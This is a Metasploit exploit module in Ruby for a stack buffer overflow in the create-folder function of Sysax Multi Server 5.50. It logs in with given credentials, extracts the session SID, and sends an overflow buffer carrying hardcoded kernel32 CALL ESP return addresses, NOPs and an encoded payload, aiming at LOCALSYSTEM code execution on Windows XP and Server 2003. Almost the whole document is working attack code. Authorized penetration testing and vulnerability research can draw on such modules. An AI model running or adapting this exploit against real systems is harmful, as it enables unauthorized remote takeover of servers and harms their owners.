Sysax Multi Server 5.50 Create Folder Buffer Overflow

`##########################################################################################################  
#Title: Sysax Multi Server 5.50 Create Folder Remote Code Exec BoF (MSF Module)  
#Author: Craig Freyman (@cd1zz)  
#Tested on: XP SP3 32bit and Server 2003 SP2 32bit(No DEP)  
#Notes: My original exploit => http://www.exploit-db.com/exploits/18382/   
#did not automate the SID gathering process, but this one does. Thanks to todb for the pointers.  
##########################################################################################################  
  
require 'msf/core'  
require 'base64'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Sysax Multi Server 5.50 Create Folder BoF',  
'Description' => %q{  
This module exploits a stack buffer overflow in the create folder function  
in Sysax Multi Server 5.50. This issue was fixed in 5.52.  
  
You must have valid credentials to trigger the vulnerability. Your credentials  
must also have the create folder permission and the HTTP option has to be enabled.  
This module will log into the server, get your a SID token and then proceed to exploit   
the server. Successful exploits result in LOCALSYSTEM access. This exploit works on   
XP and 2003. My original exploit did not automate the SID gathering process.  
},  
'License' => MSF_LICENSE,  
'Author' => 'Craig Freyman @cd1zz',  
'Version' => '$Revision:$',  
'References' =>  
[  
[ 'URL', 'http://www.exploit-db.com/exploits/18382/' ],  
[ 'URL', 'http://www.pwnag3.com/2012/01/sysax-multi-server-550-exploit.html' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Platform' => 'win',  
'Payload' =>  
{  
'BadChars' => "\x00\x2F",   
},  
  
'Targets' =>  
[  
[ 'Windows XP SP3',  
{  
'Ret' => 0x7C8369F0, #7C8369F0 CALL ESP kernel32.dll  
'Offset' => 667  
}  
],   
[ 'Windows Server 2003 SP2',  
{  
'Ret' => 0x77E5F2DF, #77E5F2DF CALL ESP kernel32.dll  
'Offset' => 648  
}  
]   
],  
'Privileged' => false,  
'DisclosureDate'=> 'January 15, 2012',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('URI', [false, "URI for Multi Server", '/']),  
Opt::RPORT(80),   
OptString.new('SysaxUSER', [ true, "Username" ]),  
OptString.new('SysaxPASS', [ true, "Password" ])  
], self.class)  
  
end  
  
def target_url  
"http://#{rhost}:#{rport}#{datastore['URI']}"  
end  
  
def exploit  
  
user = datastore['SysaxUSER']  
pass = datastore['SysaxPASS']  
  
#base64 encode the credentials  
encodedcreds = Base64.encode64(user+"\x0a"+pass)  
creds = "fd="+encodedcreds  
  
connect  
  
# Login to get SID value  
print_status "Getting SID from #{target_url}"  
res = send_request_raw({  
'method'=> 'POST',  
'uri' => "#{target_url}/scgi?sid=0&pid=dologin",  
'data' => creds  
},20)  
  
#parse response for SID token  
sid = res.body.match (/(sid=[A-Z0-9a-z]{40})/)  
print_status "Your " + sid.to_s  
  
buffer = rand_text(target['Offset'])   
buffer << [target.ret].pack('V')   
buffer << make_nops(50)  
buffer << payload.encoded #max 1299 bytes  
  
#pwnag3 post data  
post_data = "scgi?"+sid.to_s+"&pid=mk_folder2_name1.htm HTTP/1.1\r\n"  
post_data << "Content-Length: 171\r\n\r\n"  
post_data << "-----------------------------1190753071675116720811342231\r\n"  
post_data << "Content-Disposition: form-data; name=\"e2\"\r\n\r\n"  
post_data << buffer+"\r\n"  
post_data << "-----------------------------1190753071675116720811342231--\r\n\r\n"  
  
referer = "http://"+datastore['RHOST'].to_s+"/scgi?"+sid.to_s+"&pid=mk_folder1_name1.htm"  
  
send_request_raw({  
'uri' => "/" + post_data,  
'version' => '1.1',  
'method' => 'POST',  
'referer' => referer  
})  
  
handler  
disconnect  
  
end  
end  
`